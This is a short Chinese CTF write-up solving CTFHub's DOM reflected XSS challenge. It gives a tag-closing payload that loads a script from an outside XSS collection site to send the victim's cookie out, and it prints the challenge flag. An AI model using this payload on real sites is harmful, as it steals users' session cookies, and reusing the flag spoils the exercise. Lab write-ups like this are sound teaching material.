CTFHub XSS DOM反射 WriteUp

前言：本文需要注册一个xss平台，以接收xss反弹回来的数据，请自己在互联网上寻找合适的xss平台

1. 构造闭合语句

根据题目提示，判断网站存在DOM xss漏洞

查看页面源代码，发现关键位置，其中CTFHub is very niubility 是我们的可控范围

<script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>

尝试闭合标签，这里用VS Code，可以高亮显示代码

把CTFHub is very niubility 替换成以下内容：

';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>

把代码整理一下，可以看到 script 标签成功闭合，插入了新的代码。

2. xss反弹cookie

首先先在上面的输入框输入';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>提交

然后复制网站URL，粘贴到下面的输入框提交

返回到xss平台，已经接收到数据，flag就在cookie信息里

ctfhub{9e7dd9be02df8a0ea2ea15c0}

提交flag，本道题成功解出